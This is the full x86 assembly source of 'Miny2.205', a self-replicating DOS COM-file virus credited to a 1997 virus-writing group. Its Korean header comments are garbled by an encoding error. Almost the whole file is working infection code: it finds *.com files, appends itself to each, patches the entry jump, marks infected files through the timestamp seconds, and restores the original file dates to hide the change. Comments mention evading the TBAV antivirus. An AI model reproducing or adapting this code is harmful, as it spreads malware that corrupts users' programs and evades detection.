;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                                                               CVC #02  97/09
; Virus Name : Miny2.205 (Type C)
; Author : Osiris
; Group : CVC
; Date : 1997/08/17
;
; Type : Non-resident COM infector
;
; Miny2 (Type B)  ea.
; COM ¸wai a EXE ai qq ǡ gea.
; we EXE ae  MZ i aa Ёwa MZ  bae qq
; ǡ gea. aA 64 KB w i ae a qq ǡ gea.
; COM ae aa Aaae a A 64 KB w ae  i 
; a.
;
; EXE ae COM ae aa i A qqǡ Ёe 
; ae w ϩaaa. aA  EXE ae COM ¸wai a wa a.
; (:COMMAND.COM)
; ge aai 啡 95A bi A ae A aaa COMMAND.
; COM i COM wa qqa a i ១e a.
;
; b ge AV iAA e Ea. ae, Miny2  e w w a
; a Ab󷡋 A ae ei ϡa e wi awa gva.
; Type D  TBAV  wi ϡae aai AbaVa.
;
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
            .MODEL  TINY
            .CODE

 Miny2:     nop                         ; aAt (a eea.)
            nop                         ; |  aaa aAA
            nop                         ; A  ti a.
 start:
            call  Next                  ;
 Next:      pop   bp                    ;
            sub   bp,offset Next        ; BP = aa b

            lea   si,COM_head[BP]       ;
            mov   di,100h               ; COM  |i ea.
            push  di                    ;
            movsw                       ;
            movsb                       ;

            mov   cx,0080h              ; DTA  awЁ PSP a aAAa
            mov   si,0080h              ; q wea.
            lea   di,End_Virus[BP]      ;
            repz  movsb                 ;

            mov   ah,4Eh                ; a x
            mov   cx,00100011B
            lea   dx,Match_COM[BP]
 Find:      int   21h
            jnc   ChkInfected           ;
 Restart:
            lea   si,End_Virus[BP]      ;  DTA 
            mov   di,0080h
            mov   cx,0080h
            repz  movsb
            RET

 ChkInfected:                           ; qq ai ·ea.
            mov   al,DS:[0096h]         ; 62   aea.
            and   al,1Fh
            cmp   al,1Fh
            jnz   Infect
            mov   ah,4Fh                ; aq a x
            jmp   Find
 Infect:
            mov   ax,4301h              ; /a a a
            xor   cx,cx
            mov   dx,009Eh
            int   21h
            jc    Restart               ; Aᯡ a h

            mov   ax,3D02h              ; a e
            int   21h
            jc    Restart               ; Ѣ i e Aᕡ ១Жa.

            xchg  ax,bx                 ; a Ѕi 苡

            mov   ax,5700h              ; a b e 苡
            int   21h
            push  cx                    ; b e w
            push  dx                    ;

            mov   ah,3Fh                ; | 
            lea   dx,COM_Head[BP]       ;  
            mov   cx,0003               ; 3 aa
            int   21h
            cmp   byte ptr COM_Head[BP],'M' ; MZ a ?
            jnz   lseek2                ; TBAV A eeA Ё a a
            cmp   byte ptr COM_Head[BP+1],'Z' ; ea.
            jz    Error
 lseek2:
            mov   al,02                 ; a {a 
            call  lseek
            or    dx,dx                 ; 64 KB wa ?
            jnz   Error                 ; aq a e ǡ gЁ

            sub   ax,3                  ; at e
            mov   word ptr JumpCode[BP+1],ax     ;

            mov   ah,40h                ; aa a
            mov   cx,offset End_virus - 3 - 2
            lea   dx,start[BP]
            int   21h

            mov   al,00                 ; qa 
            call  lseek

            mov   ah,40h                ; a ša a
            mov   cx,0003
            lea   dx,JumpCode[BP]
            int   21h

 Error:
            pop   dx                    ; a b e 
            pop   cx                    ;
            or    cx,+1Fh               ; 62  ei
            mov   ax,5701h              ;
            int   21h

 Close:
            mov   ah,3Eh                ; a h
            int   21h
            jmp   Restart

 lseek:                                 ; ͡ 
            xor   cx,cx
            xor   dx,dx
            mov   ah,42h
            int   21h
            ret

 COM_head   db    0CDh,20h,90h          ; COM |
 Match_COM  db    '*.com',00            ; COM a x
            db    'Miny2'               ;  2
 JumpCode   db    0E9h
            db    ?,?
 End_Virus:
            END   Miny2

